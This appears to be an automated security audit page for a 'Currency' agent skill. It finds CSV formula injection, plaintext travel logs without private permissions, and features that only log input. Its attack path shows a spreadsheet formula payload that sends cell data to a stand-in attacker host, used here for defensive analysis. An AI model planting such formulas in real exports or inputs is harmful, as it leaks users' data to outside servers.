Back to skill

Security audit

Currency

Security checks for vulnerabilities and agentic risk

Overview

This skill looks like a local travel-note logger, but it advertises broader assistant features and persists potentially sensitive travel data in plaintext with weak safeguards.

Review this before installing if you expect a real currency, weather, routing, booking, or reminder assistant. Treat it as a plaintext local travel-entry logger, avoid storing sensitive booking or itinerary details unless you are comfortable with local retention, and be cautious opening CSV exports in spreadsheet software.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/script.sh:73
Finding

Spreadsheet Formula Injection in CSV Exports

Content
View full analysis
"$out" for f in "$DATA_DIR"/*.log; do [ -f "$f" ] || continue local name=$(basename "$f" .log) while IFS='|' read -r ts val; do echo "$name,$ts,$val" >> "$out"; done < "$f" done ;; ``` ### Technical Analysis The `val` field originates from user-supplied command arguments stored in log files. During CSV export, it is copied directly into a CSV row without field quoting, escaping, or spreadsheet-formula neutralization. Values beginning with spreadsheet formula indicators such as `=`, `+`, `-`, or `@` can therefore be interpreted as formulas when the exported file is opened in compatible spreadsheet software. Embedded commas, quotation marks, carriage returns, and newlines can also alter the CSV structure and inject additional fields or rows. The shell does not evaluate the malicious value, so this is not shell command injection in the `currency` process. Exploitation occurs later in the spreadsheet application that opens the generated file. ### Attack Path 1. An attacker persuades a user to record an attacker-controlled value, or supplies crafted data through an invocation such as: ```text currency journal '=WEBSERVICE("https://attacker.example/collect?data="&A1)' ``` 2. The value is stored in a log file under `~/.local/share/currency/`. 3. The user runs: ```text currency export csv ``` 4. The script writes the value verbatim to `~/.local/share/currency/export.csv`. 5. The user opens the export in spreadsheet software. 6. If that application supports and permits the injected formula, it may evaluate it and perform attacker-selected spreadsheet operations, including external network requests. ### Impact Assessment Exploitation is limited to the privileges and capabilities of the spre ...[truncated 623 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Note
Location
scripts/script.sh:6
Finding

Sensitive Travel Records Are Created Without Enforced Private Permissions

Content
View full analysis
/dev/null || echo " No entries yet. Use: currency plan " else local input="$*" local ts=$(date '+%Y-%m-%d %H:%M') echo "$ts|$input" >> "$DATA_DIR/plan.log" local total=$(wc -l < "$DATA_DIR/plan.log") echo " [Currency] plan: $input" echo " Saved. Total plan entries: $total" _log "plan" "$input" fi ;; ``` Equivalent writes are used for booking details, budgets, routes, journals, reminders, and other entry types. ### Technical Analysis The script does not set a restrictive `umask`, does not create the data directory with mode `0700`, and does not explicitly constrain log files to mode `0600`. Their effective permissions therefore depend on the invoking process's environment and existing filesystem objects. With a permissive `umask`, newly created records may be readable by other local accounts. If write permissions are also overly broad, another local user may modify stored records or inject content into later exports. The implementation also does not repair unsafe permissions on an existing data directory or existing log files. The commands' top-level use of `local` is a separate correctness defect that may cause normal direct execution to terminate before writes occur; however, the storage design still lacks permission enforcement for files that are created or already present. ### ...[truncated 1176 chars]
Remediation
View remediation
/dev/null || true ``` 4. Refuse to operate if the storage path is a symbolic link or is owned by another user. 5. Use secure file creation patterns that prevent following attacker-controlled links and avoid overwriting unexpected file types. 6. Document that entries may contain sensitive travel and financial information and are stored locally in plaintext. ]]>
Vulnerability Patterns
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Findings (6)

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding

The skill materially overstates its capabilities by presenting commands such as book, weather, route, remind, and convert as functional features when they appear to only log user input locally. This is dangerous because users may disclose sensitive travel plans, budgets, locations, or personal notes under the false belief that the tool is performing meaningful actions, creating a deception and privacy risk even if no code execution or network exfiltration is shown.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

Medium
Category
Not specified by scanner
Confidence
98% confidence
Finding

The manifest names the skill "Currency" and presents it as a currency assistant, but the implemented commands cover broad travel-planning tasks such as plan, book, pack-list, weather, route, checklist, journal, and remind. There is no actual currency-specific functionality such as exchange-rate lookup or monetary conversion logic beyond a generic 'convert' label that only logs input.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

Operational commands like book, weather, route, compare, and remind suggest the tool will carry out or compute those tasks, but each branch merely timestamps and appends the raw input to a local log file. This is a semantic mismatch between the assistant-style functionality implied by the manifest/help text and the code's actual behavior as a local note-taking store.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

User-supplied travel data is silently persisted to disk under ~/.local/share/currency across multiple commands, with no explicit disclosure, consent prompt, retention policy, or file-permission hardening. In the context of a travel assistant, users may enter sensitive itineraries, budgets, booking details, or journal content, creating privacy and safety risk if the local account is shared, backed up, or later compromised.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
92% confidence
Finding

The skill says data is stored locally and mentions automatic history/activity logging, but the user-facing description does not prominently warn that all actions are automatically persisted. This can lead users to enter sensitive itinerary, budget, or journal information without understanding it will be retained on disk, which is a privacy and informed-consent issue.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

Low
Category
Not specified by scanner
Confidence
89% confidence
Finding

The header comment and help text present the script as a travel tool or toolkit, which implies substantive travel assistance features. In practice, the code mainly stores free-form entries under command-specific log files and exports/searches them, so the documentation overstates what the tool actually does.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.